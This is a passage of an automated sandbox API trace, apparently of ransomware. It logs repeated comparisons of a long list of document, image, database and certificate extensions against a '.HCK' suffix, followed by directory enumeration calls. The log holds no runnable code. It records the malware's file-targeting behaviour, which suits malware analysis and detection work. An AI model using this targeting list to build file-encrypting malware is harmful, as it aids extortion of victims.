lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".cin") returned 4 [0245.502] lstrcmpiW (lpString1=".cin", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".class") returned 6 [0245.502] lstrcmpiW (lpString1=".class", lpString2="o].HCK") returned -1 [0245.502] lstrlenW (lpString=".clx") returned 4 [0245.502] lstrcmpiW (lpString1=".clx", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".config") returned 7 [0245.502] lstrcmpiW (lpString1=".config", lpString2="io].HCK") returned -1 [0245.502] lstrlenW (lpString=".cpp") returned 4 [0245.502] lstrcmpiW (lpString1=".cpp", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".cr2") returned 4 [0245.502] lstrcmpiW (lpString1=".cr2", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".crt") returned 4 [0245.502] lstrcmpiW (lpString1=".crt", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".crw") returned 4 [0245.502] lstrcmpiW (lpString1=".crw", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".cs") returned 3 [0245.502] lstrcmpiW (lpString1=".cs", lpString2="HCK") returned -1 [0245.502] lstrlenW (lpString=".css") returned 4 [0245.502] lstrcmpiW (lpString1=".css", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".csv") returned 4 [0245.502] lstrcmpiW (lpString1=".csv", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".cub") returned 4 [0245.502] lstrcmpiW (lpString1=".cub", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".dae") returned 4 [0245.502] lstrcmpiW (lpString1=".dae", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".dat") returned 4 [0245.502] lstrcmpiW (lpString1=".dat", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".db") returned 3 [0245.502] lstrcmpiW (lpString1=".db", lpString2="HCK") returned -1 [0245.502] lstrlenW (lpString=".dbf") returned 4 [0245.502] lstrcmpiW (lpString1=".dbf", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".dbx") returned 4 [0245.502] lstrcmpiW (lpString1=".dbx", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".dc3") returned 4 [0245.502] lstrcmpiW (lpString1=".dc3", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".dcm") returned 4 [0245.502] lstrcmpiW (lpString1=".dcm", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".dcr") returned 4 [0245.502] lstrcmpiW (lpString1=".dcr", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".der") returned 4 [0245.502] lstrcmpiW (lpString1=".der", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".dib") returned 4 [0245.502] lstrcmpiW (lpString1=".dib", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".dic") returned 4 [0245.502] lstrcmpiW (lpString1=".dic", lpString2=".HCK") returned -1 [0245.502] lstrlenW (lpString=".dif") returned 4 [0245.502] lstrcmpiW (lpString1=".dif", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".divx") returned 5 [0245.503] lstrcmpiW (lpString1=".divx", lpString2="].HCK") returned -1 [0245.503] lstrlenW (lpString=".djvu") returned 5 [0245.503] lstrcmpiW (lpString1=".djvu", lpString2="].HCK") returned -1 [0245.503] lstrlenW (lpString=".dng") returned 4 [0245.503] lstrcmpiW (lpString1=".dng", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".doc") returned 4 [0245.503] lstrcmpiW (lpString1=".doc", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".docm") returned 5 [0245.503] lstrcmpiW (lpString1=".docm", lpString2="].HCK") returned -1 [0245.503] lstrlenW (lpString=".docx") returned 5 [0245.503] lstrcmpiW (lpString1=".docx", lpString2="].HCK") returned -1 [0245.503] lstrlenW (lpString=".dot") returned 4 [0245.503] lstrcmpiW (lpString1=".dot", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".dotm") returned 5 [0245.503] lstrcmpiW (lpString1=".dotm", lpString2="].HCK") returned -1 [0245.503] lstrlenW (lpString=".dotx") returned 5 [0245.503] lstrcmpiW (lpString1=".dotx", lpString2="].HCK") returned -1 [0245.503] lstrlenW (lpString=".dpx") returned 4 [0245.503] lstrcmpiW (lpString1=".dpx", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".dqy") returned 4 [0245.503] lstrcmpiW (lpString1=".dqy", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".dsn") returned 4 [0245.503] lstrcmpiW (lpString1=".dsn", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".dt") returned 3 [0245.503] lstrcmpiW (lpString1=".dt", lpString2="HCK") returned -1 [0245.503] lstrlenW (lpString=".dtd") returned 4 [0245.503] lstrcmpiW (lpString1=".dtd", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".dwg") returned 4 [0245.503] lstrcmpiW (lpString1=".dwg", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".dwt") returned 4 [0245.503] lstrcmpiW (lpString1=".dwt", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".dx") returned 3 [0245.503] lstrcmpiW (lpString1=".dx", lpString2="HCK") returned -1 [0245.503] lstrlenW (lpString=".dxf") returned 4 [0245.503] lstrcmpiW (lpString1=".dxf", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".edml") returned 5 [0245.503] lstrcmpiW (lpString1=".edml", lpString2="].HCK") returned -1 [0245.503] lstrlenW (lpString=".efd") returned 4 [0245.503] lstrcmpiW (lpString1=".efd", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".elf") returned 4 [0245.503] lstrcmpiW (lpString1=".elf", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".emf") returned 4 [0245.503] lstrcmpiW (lpString1=".emf", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".emz") returned 4 [0245.503] lstrcmpiW (lpString1=".emz", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".epf") returned 4 [0245.503] lstrcmpiW (lpString1=".epf", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".eps") returned 4 [0245.503] lstrcmpiW (lpString1=".eps", lpString2=".HCK") returned -1 [0245.503] lstrlenW (lpString=".epsf") returned 5 [0245.504] lstrcmpiW (lpString1=".epsf", lpString2="].HCK") returned -1 [0245.504] lstrlenW (lpString=".epsp") returned 5 [0245.504] lstrcmpiW (lpString1=".epsp", lpString2="].HCK") returned -1 [0245.504] lstrlenW (lpString=".erf") returned 4 [0245.504] lstrcmpiW (lpString1=".erf", lpString2=".HCK") returned -1 [0245.504] lstrlenW (lpString=".exr") returned 4 [0245.504] lstrcmpiW (lpString1=".exr", lpString2=".HCK") returned -1 [0245.504] lstrlenW (lpString=".f4v") returned 4 [0245.504] lstrcmpiW (lpString1=".f4v", lpString2=".HCK") returned -1 [0245.504] lstrlenW (lpString=".fido") returned 5 [0245.504] lstrcmpiW (lpString1=".fido", lpString2="].HCK") returned -1 [0245.504] lstrlenW (lpString=".flm") returned 4 [0245.504] lstrcmpiW (lpString1=".flm", lpString2=".HCK") returned -1 [0245.504] lstrlenW (lpString=".flv") returned 4 [0245.504] lstrcmpiW (lpString1=".flv", lpString2=".HCK") returned -1 [0245.504] lstrlenW (lpString=".frm") returned 4 [0245.504] lstrcmpiW (lpString1=".frm", lpString2=".HCK") returned -1 [0245.504] lstrlenW (lpString=".fxg") returned 4 [0245.504] lstrcmpiW (lpString1=".fxg", lpString2=".HCK") returned -1 [0245.504] lstrlenW (lpString=".geo") returned 4 [0245.504] lstrcmpiW (lpString1=".geo", lpString2=".HCK") returned -1 [0245.504] lstrlenW (lpString=".gif") returned 4 [0245.504] lstrcmpiW (lpString1=".gif", lpString2=".HCK") returned -1 [0245.504] lstrlenW (lpString=".grs") returned 4 [0245.504] lstrcmpiW (lpString1=".grs", lpString2=".HCK") returned -1 [0245.504] lstrlenW (lpString=".gz") returned 3 [0245.504] lstrcmpiW (lpString1=".gz", lpString2="HCK") returned -1 [0245.504] lstrlenW (lpString=".h") returned 2 [0245.504] lstrcmpiW (lpString1=".h", lpString2="CK") returned -1 [0245.504] lstrlenW (lpString=".hdr") returned 4 [0245.504] lstrcmpiW (lpString1=".hdr", lpString2=".HCK") returned 1 [0245.504] lstrlenW (lpString=".hpp") returned 4 [0245.505] lstrcmpiW (lpString1=".hpp", lpString2=".HCK") returned 1 [0245.505] lstrlenW (lpString=".hta") returned 4 [0245.505] lstrcmpiW (lpString1=".hta", lpString2=".HCK") returned 1 [0245.505] lstrlenW (lpString=".htc") returned 4 [0245.505] lstrcmpiW (lpString1=".htc", lpString2=".HCK") returned 1 [0245.505] lstrlenW (lpString=".htm") returned 4 [0245.505] lstrcmpiW (lpString1=".htm", lpString2=".HCK") returned 1 [0245.505] lstrlenW (lpString=".html") returned 5 [0245.505] lstrcmpiW (lpString1=".html", lpString2="].HCK") returned -1 [0245.505] lstrlenW (lpString=".icb") returned 4 [0245.505] lstrcmpiW (lpString1=".icb", lpString2=".HCK") returned 1 [0245.505] lstrlenW (lpString=".ics") returned 4 [0245.505] lstrcmpiW (lpString1=".ics", lpString2=".HCK") returned 1 [0245.505] lstrlenW (lpString=".iff") returned 4 [0245.505] lstrcmpiW (lpString1=".iff", lpString2=".HCK") returned 1 [0245.505] lstrlenW (lpString=".inc") returned 4 [0245.505] lstrcmpiW (lpString1=".inc", lpString2=".HCK") returned 1 [0245.505] lstrlenW (lpString=".indd") returned 5 [0245.505] lstrcmpiW (lpString1=".indd", lpString2="].HCK") returned -1 [0245.506] lstrlenW (lpString=".ini") returned 4 [0245.506] lstrcmpiW (lpString1=".ini", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".iqy") returned 4 [0245.506] lstrcmpiW (lpString1=".iqy", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".j2c") returned 4 [0245.506] lstrcmpiW (lpString1=".j2c", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".j2k") returned 4 [0245.506] lstrcmpiW (lpString1=".j2k", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".java") returned 5 [0245.506] lstrcmpiW (lpString1=".java", lpString2="].HCK") returned -1 [0245.506] lstrlenW (lpString=".jp2") returned 4 [0245.506] lstrcmpiW (lpString1=".jp2", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".jpc") returned 4 [0245.506] lstrcmpiW (lpString1=".jpc", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".jpe") returned 4 [0245.506] lstrcmpiW (lpString1=".jpe", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".jpeg") returned 5 [0245.506] lstrcmpiW (lpString1=".jpeg", lpString2="].HCK") returned -1 [0245.506] lstrlenW (lpString=".jpf") returned 4 [0245.506] lstrcmpiW (lpString1=".jpf", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".jpg") returned 4 [0245.506] lstrcmpiW (lpString1=".jpg", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".jpx") returned 4 [0245.506] lstrcmpiW (lpString1=".jpx", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".js") returned 3 [0245.506] lstrcmpiW (lpString1=".js", lpString2="HCK") returned -1 [0245.506] lstrlenW (lpString=".jsf") returned 4 [0245.506] lstrcmpiW (lpString1=".jsf", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".json") returned 5 [0245.506] lstrcmpiW (lpString1=".json", lpString2="].HCK") returned -1 [0245.506] lstrlenW (lpString=".jsp") returned 4 [0245.506] lstrcmpiW (lpString1=".jsp", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".kdc") returned 4 [0245.506] lstrcmpiW (lpString1=".kdc", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".kmz") returned 4 [0245.506] lstrcmpiW (lpString1=".kmz", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".kwm") returned 4 [0245.506] lstrcmpiW (lpString1=".kwm", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".lasso") returned 6 [0245.506] lstrcmpiW (lpString1=".lasso", lpString2="o].HCK") returned -1 [0245.506] lstrlenW (lpString=".lbi") returned 4 [0245.506] lstrcmpiW (lpString1=".lbi", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".lgf") returned 4 [0245.506] lstrcmpiW (lpString1=".lgf", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".lgp") returned 4 [0245.506] lstrcmpiW (lpString1=".lgp", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".log") returned 4 [0245.506] lstrcmpiW (lpString1=".log", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".m1v") returned 4 [0245.506] lstrcmpiW (lpString1=".m1v", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".m4a") returned 4 [0245.506] lstrcmpiW (lpString1=".m4a", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".m4v") returned 4 [0245.506] lstrcmpiW (lpString1=".m4v", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".max") returned 4 [0245.506] lstrcmpiW (lpString1=".max", lpString2=".HCK") returned 1 [0245.506] lstrlenW (lpString=".md") returned 3 [0245.507] lstrcmpiW (lpString1=".md", lpString2="HCK") returned -1 [0245.507] lstrlenW (lpString=".mda") returned 4 [0245.507] lstrcmpiW (lpString1=".mda", lpString2=".HCK") returned 1 [0245.507] lstrlenW (lpString=".mdb") returned 4 [0245.507] lstrcmpiW (lpString1=".mdb", lpString2=".HCK") returned 1 [0245.507] lstrlenW (lpString=".mde") returned 4 [0245.507] lstrcmpiW (lpString1=".mde", lpString2=".HCK") returned 1 [0245.507] lstrlenW (lpString=".mdf") returned 4 [0245.507] lstrcmpiW (lpString1=".mdf", lpString2=".HCK") returned 1 [0245.507] lstrlenW (lpString=".mdw") returned 4 [0245.507] lstrcmpiW (lpString1=".mdw", lpString2=".HCK") returned 1 [0245.507] lstrlenW (lpString=".mef") returned 4 [0245.507] lstrcmpiW (lpString1=".mef", lpString2=".HCK") returned 1 [0245.507] lstrlenW (lpString=".mft") returned 4 [0245.507] lstrcmpiW (lpString1=".mft", lpString2=".HCK") returned 1 [0245.507] lstrlenW (lpString=".mfw") returned 4 [0245.507] lstrcmpiW (lpString1=".mfw", lpString2=".HCK") returned 1 [0245.507] lstrlenW (lpString=".mht") returned 4 [0245.507] lstrcmpiW (lpString1=".mht", lpString2=".HCK") returned 1 [0245.507] lstrlenW (lpString=".mhtml") returned 6 [0245.507] lstrcmpiW (lpString1=".mhtml", lpString2="o].HCK") returned -1 [0245.507] lstrlenW (lpString=".mka") returned 4 [0245.507] lstrcmpiW (lpString1=".mka", lpString2=".HCK") returned 1 [0245.507] lstrlenW (lpString=".mkidx") returned 6 [0245.507] lstrcmpiW (lpString1=".mkidx", lpString2="o].HCK") returned -1 [0245.508] lstrlenW (lpString=".mkv") returned 4 [0245.508] lstrcmpiW (lpString1=".mkv", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".mos") returned 4 [0245.508] lstrcmpiW (lpString1=".mos", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".mov") returned 4 [0245.508] lstrcmpiW (lpString1=".mov", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".mp3") returned 4 [0245.508] lstrcmpiW (lpString1=".mp3", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".mp4") returned 4 [0245.508] lstrcmpiW (lpString1=".mp4", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".mpeg") returned 5 [0245.508] lstrcmpiW (lpString1=".mpeg", lpString2="].HCK") returned -1 [0245.508] lstrlenW (lpString=".mpg") returned 4 [0245.508] lstrcmpiW (lpString1=".mpg", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".mpv") returned 4 [0245.508] lstrcmpiW (lpString1=".mpv", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".mrw") returned 4 [0245.508] lstrcmpiW (lpString1=".mrw", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".msg") returned 4 [0245.508] lstrcmpiW (lpString1=".msg", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".mxl") returned 4 [0245.508] lstrcmpiW (lpString1=".mxl", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".myd") returned 4 [0245.508] lstrcmpiW (lpString1=".myd", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".myi") returned 4 [0245.508] lstrcmpiW (lpString1=".myi", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".nef") returned 4 [0245.508] lstrcmpiW (lpString1=".nef", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".nrw") returned 4 [0245.508] lstrcmpiW (lpString1=".nrw", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".obj") returned 4 [0245.508] lstrcmpiW (lpString1=".obj", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".odb") returned 4 [0245.508] lstrcmpiW (lpString1=".odb", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".odc") returned 4 [0245.508] lstrcmpiW (lpString1=".odc", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".odm") returned 4 [0245.508] lstrcmpiW (lpString1=".odm", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".odp") returned 4 [0245.508] lstrcmpiW (lpString1=".odp", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".ods") returned 4 [0245.508] lstrcmpiW (lpString1=".ods", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".oft") returned 4 [0245.508] lstrcmpiW (lpString1=".oft", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".one") returned 4 [0245.508] lstrcmpiW (lpString1=".one", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".onepkg") returned 7 [0245.508] lstrcmpiW (lpString1=".onepkg", lpString2="io].HCK") returned -1 [0245.508] lstrlenW (lpString=".onetoc2") returned 8 [0245.508] lstrcmpiW (lpString1=".onetoc2", lpString2=".io].HCK") returned 1 [0245.508] lstrlenW (lpString=".opt") returned 4 [0245.508] lstrcmpiW (lpString1=".opt", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".oqy") returned 4 [0245.508] lstrcmpiW (lpString1=".oqy", lpString2=".HCK") returned 1 [0245.508] lstrlenW (lpString=".orf") returned 4 [0245.509] lstrcmpiW (lpString1=".orf", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".p12") returned 4 [0245.509] lstrcmpiW (lpString1=".p12", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".p7b") returned 4 [0245.509] lstrcmpiW (lpString1=".p7b", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".p7c") returned 4 [0245.509] lstrcmpiW (lpString1=".p7c", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".pam") returned 4 [0245.509] lstrcmpiW (lpString1=".pam", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".pbm") returned 4 [0245.509] lstrcmpiW (lpString1=".pbm", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".pct") returned 4 [0245.509] lstrcmpiW (lpString1=".pct", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".pcx") returned 4 [0245.509] lstrcmpiW (lpString1=".pcx", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".pdd") returned 4 [0245.509] lstrcmpiW (lpString1=".pdd", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".pdf") returned 4 [0245.509] lstrcmpiW (lpString1=".pdf", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".pdp") returned 4 [0245.509] lstrcmpiW (lpString1=".pdp", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".pef") returned 4 [0245.509] lstrcmpiW (lpString1=".pef", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".pem") returned 4 [0245.509] lstrcmpiW (lpString1=".pem", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".pff") returned 4 [0245.509] lstrcmpiW (lpString1=".pff", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".pfm") returned 4 [0245.509] lstrcmpiW (lpString1=".pfm", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".pfx") returned 4 [0245.509] lstrcmpiW (lpString1=".pfx", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".pgm") returned 4 [0245.509] lstrcmpiW (lpString1=".pgm", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".php") returned 4 [0245.509] lstrcmpiW (lpString1=".php", lpString2=".HCK") returned 1 [0245.509] lstrlenW (lpString=".php3") returned 5 [0245.509] lstrcmpiW (lpString1=".php3", lpString2="].HCK") returned -1 [0245.509] lstrlenW (lpString=".php4") returned 5 [0245.509] lstrcmpiW (lpString1=".php4", lpString2="].HCK") returned -1 [0245.509] lstrlenW (lpString=".php5") returned 5 [0245.509] lstrcmpiW (lpString1=".php5", lpString2="].HCK") returned -1 [0245.509] lstrlenW (lpString=".phtml") returned 6 [0245.509] lstrcmpiW (lpString1=".phtml", lpString2="o].HCK") returned -1 [0245.509] lstrlenW (lpString=".pict") returned 5 [0245.509] lstrcmpiW (lpString1=".pict", lpString2="].HCK") returned -1 [0245.509] lstrlenW (lpString=".pl") returned 3 [0245.510] lstrcmpiW (lpString1=".pl", lpString2="HCK") returned -1 [0245.510] lstrlenW (lpString=".pls") returned 4 [0245.510] lstrcmpiW (lpString1=".pls", lpString2=".HCK") returned 1 [0245.510] lstrlenW (lpString=".pm") returned 3 [0245.510] lstrcmpiW (lpString1=".pm", lpString2="HCK") returned -1 [0245.510] lstrlenW (lpString=".png") returned 4 [0245.510] lstrcmpiW (lpString1=".png", lpString2=".HCK") returned 1 [0245.510] lstrlenW (lpString=".pnm") returned 4 [0245.510] lstrcmpiW (lpString1=".pnm", lpString2=".HCK") returned 1 [0245.511] lstrlenW (lpString=".pot") returned 4 [0245.511] lstrcmpiW (lpString1=".pot", lpString2=".HCK") returned 1 [0245.511] lstrlenW (lpString=".potm") returned 5 [0245.511] lstrcmpiW (lpString1=".potm", lpString2="].HCK") returned -1 [0245.511] lstrlenW (lpString=".potx") returned 5 [0245.511] lstrcmpiW (lpString1=".potx", lpString2="].HCK") returned -1 [0245.511] lstrlenW (lpString=".ppa") returned 4 [0245.511] lstrcmpiW (lpString1=".ppa", lpString2=".HCK") returned 1 [0245.511] lstrlenW (lpString=".ppam") returned 5 [0245.511] lstrcmpiW (lpString1=".ppam", lpString2="].HCK") returned -1 [0245.511] lstrlenW (lpString=".ppm") returned 4 [0245.511] lstrcmpiW (lpString1=".ppm", lpString2=".HCK") returned 1 [0245.511] lstrlenW (lpString=".pps") returned 4 [0245.511] lstrcmpiW (lpString1=".pps", lpString2=".HCK") returned 1 [0245.511] lstrlenW (lpString=".ppsm") returned 5 [0245.511] lstrcmpiW (lpString1=".ppsm", lpString2="].HCK") returned -1 [0245.511] lstrlenW (lpString=".ppt") returned 4 [0245.511] lstrcmpiW (lpString1=".ppt", lpString2=".HCK") returned 1 [0245.511] lstrlenW (lpString=".pptm") returned 5 [0245.511] lstrcmpiW (lpString1=".pptm", lpString2="].HCK") returned -1 [0245.511] lstrlenW (lpString=".pptx") returned 5 [0245.511] lstrcmpiW (lpString1=".pptx", lpString2="].HCK") returned -1 [0245.511] lstrlenW (lpString=".prn") returned 4 [0245.511] lstrcmpiW (lpString1=".prn", lpString2=".HCK") returned 1 [0245.511] lstrlenW (lpString=".ps") returned 3 [0245.511] lstrcmpiW (lpString1=".ps", lpString2="HCK") returned -1 [0245.511] lstrlenW (lpString=".psb") returned 4 [0245.511] lstrcmpiW (lpString1=".psb", lpString2=".HCK") returned 1 [0245.511] lstrlenW (lpString=".psd") returned 4 [0245.511] lstrcmpiW (lpString1=".psd", lpString2=".HCK") returned 1 [0245.511] lstrlenW (lpString=".pst") returned 4 [0245.511] lstrcmpiW (lpString1=".pst", lpString2=".HCK") returned 1 [0245.511] lstrlenW (lpString=".ptx") returned 4 [0245.511] lstrcmpiW (lpString1=".ptx", lpString2=".HCK") returned 1 [0245.511] lstrlenW (lpString=".pub") returned 4 [0245.511] lstrcmpiW (lpString1=".pub", lpString2=".HCK") returned 1 [0245.511] lstrlenW (lpString=".pwm") returned 4 [0245.511] lstrcmpiW (lpString1=".pwm", lpString2=".HCK") returned 1 [0245.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4111060 | out: hHeap=0x520000) returned 1 [0245.512] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0245.515] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4111060 | out: hHeap=0x520000) returned 1 [0245.515] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0245.515] FindClose (in: hFindFile=0x53a218 | out: hFindFile=0x53a218) returned 1 [0245.515] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4100050 | out: hHeap=0x520000) returned 1 [0245.516] FindNextFileW (in: hFindFile=0x53a8d8, lpFindFileData=0x376fcf8 | out: lpFindFileData=0x376fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0245.517] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.517] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9591c98, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xc9591c98, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0245.517] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 [0245.517] FindNextFileW (in: hFindFile=0x53a218, lpFindFileData=0x376fa7c | out: lpFindFileData=0x376fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9591c98, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xc9591c98, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1512, dwReserved1=0xffffcd21, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0245.517] FindClose (in: hFindFile=0x53a218 | out: hFindFile=0x53a218) returned 1 [0245.517] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4100050 | out: hHeap=0x520000) returned 1 [0245.518] FindNextFileW (in: hFindFile=0x53a8d8, lpFindFileData=0x376fcf8 | out: lpFindFileData=0x376fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0245.520] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x4110058 | out: hHeap=0x520000) returned 1 